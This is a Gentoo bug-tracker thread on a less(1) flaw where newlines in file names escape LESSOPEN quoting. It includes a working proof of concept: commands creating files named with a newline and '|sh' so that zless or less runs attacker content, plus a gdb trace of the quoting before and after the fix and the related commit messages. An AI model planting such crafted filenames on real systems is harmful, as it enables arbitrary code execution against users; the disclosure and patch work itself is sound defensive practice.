""" less(1) does not correctly escape newlines in pathnames when constructing command line of the input preprocessor. If a user ran less(1) on files with untrusted names, this could result in execution of arbitrary code. The input preprocessor is enabled by the LESSOPEN environment variable. But if you didn't set it, don't worry, because zless(1) (or xzless(1), or zstdless(1)) sets it for you: $ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')" $ zless ./* _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ./ |sh (file 1 of 2) (END) - Next: ./\ On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the bug can be exploited even without the wrapper: $ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo $ less ./*/* _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ./ |m/oo (file 1 of 2) (END) - Next: ./m/oo Upstream fix: https://github.com/gwsw/less/commit/007521ac3c95bc76 """
The patch doesn't backport cleanly. I've started doing it manually but it's a bit messy. I've emailed upstream asking if they could consider a backport.
Upstream sent a patch I will test in a bit, quite tired atm so I don't want to do it yet.
The bug has been referenced in the following commit(s): https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=e9856cc39c2e0ee09e32358b23a120d855e4953c commit e9856cc39c2e0ee09e32358b23a120d855e4953c Author: Sam James <sam@gentoo.org> AuthorDate: 2024-04-14 00:47:11 +0000 Commit: Sam James <sam@gentoo.org> CommitDate: 2024-04-14 00:49:11 +0000 sys-apps/less: fix LESSOPEN escape vulnerability Special thanks to the less upstream maintainer, Mark Nudelman, for providing us with a backport to 643. Bug: https://bugs.gentoo.org/929210 Signed-off-by: Sam James <sam@gentoo.org> sys-apps/less/files/less-643-LESSOPEN-escape.patch | 61 ++++++++++++++ sys-apps/less/less-643-r2.ebuild | 97 ++++++++++++++++++++++ 2 files changed, 158 insertions(+)
(In reply to Sam James from comment #2) > Upstream sent a patch I will test in a bit, quite tired atm so I don't want > to do it yet. Hello, I had to wrap my mind around the issue... So, I'm posting this hoping that it could be useful to others. I did a brief observation of less-643/filename.c, before (r1) and after patching (r2): - open_altfile() - shellcmd() === $ touch "$(printf '\n|sh')" $ echo 'cowsay pwned' > '\' $ ls -1 -b \n|sh \\ zless ends up with `export LESSOPEN="||-gzip -cdfq -- %s"` before calling less. $ LESSOPEN="||-gzip -cdfq -- %s" gdb less (gdb) break open_altfile (gdb) break shellcmd (gdb) r ./* --- sys-apps/less-643-r1, zless before patching: filename = "./\n|sh" qfilename = "./\\\n\\|sh" cmd = "gzip -cdfq -- ./\\\n\\|sh" scmd = "/bin/bash -c gzip\\ -cdfq\\ --\\ ./\\\\\\\n\\\\\\|sh" Translates to: "/bin/bash -c gzip -cdfq -- ./\\n\\|sh" hence: $ gzip -cdfq -- ./\ > \\|sh i.e. force gunzip the file '\' to stdout quietly and pipe the result to sh: $ gzip -cdfq -- '\' | sh --- sys-apps/less-643-r2, zless after patching: filename = "./\n|sh" qfilename = "./\"\n\"\\|sh" cmd = "gzip -cdfq -- ./\"\n\"\\|sh" scmd = "/bin/bash -c gzip\\ -cdfq\\ --\\ ./\\\"\"\n\"\\\"\\\\\\|sh" Translates to: "/bin/bash -c gzip -cdfq -- ./$'\n'\|sh" where "./$'\n'\|sh" is a file. === $ mkdir "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" $ mkdir m && echo 'cowsay pwned' > m/oo && chmod +x m/oo $ tree . ├── \012|m │ └── oo └── m └── oo $ LESSOPEN="|lesspipe %s" gdb less (gdb) break open_altfile (gdb) break shellcmd (gdb) r ./*/* --- sys-apps/less-643-r1, less before patching: filename = "./\n|m/oo" qfilename = "./\\\n\\|m/oo" cmd = "lesspipe ./\\\n\\|m/oo" scmd = "/bin/bash -c lesspipe\\ ./\\\\\\\n\\\\\\|m/oo" Translates to: "/bin/bash -c lesspipe ./\\n\\|m/oo" hence: $ lesspipe ./\ > \\|m/oo i.e. call lesspipe for the file '\' and pipe the result to the script m/oo: $ lesspipe '\' | m/oo --- sys-apps/less-643-r2, less after patching: filename = "./\n|m/oo" qfilename = "./\"\n\"\\|m/oo" cmd = "lesspipe ./\"\n\"\\|m/oo" scmd = "/bin/bash -c lesspipe\\ ./\\\"\"\n\"\\\"\\\\\\|m/oo" Translates to: "/bin/bash -c lesspipe ./$'\n'\|m/oo" where "./$'\n'\|m/oo" is a nested file. === Thanks.
commit 00574ea9dd968a3be08b35ec2aa2b2763f00da3d Author: Andreas Sturmlechner <asturm@gentoo.org> Date: Mon Oct 21 16:55:52 2024 +0200 sys-apps/less: drop 633, 643-r1 Signed-off-by: Andreas Sturmlechner <asturm@gentoo.org>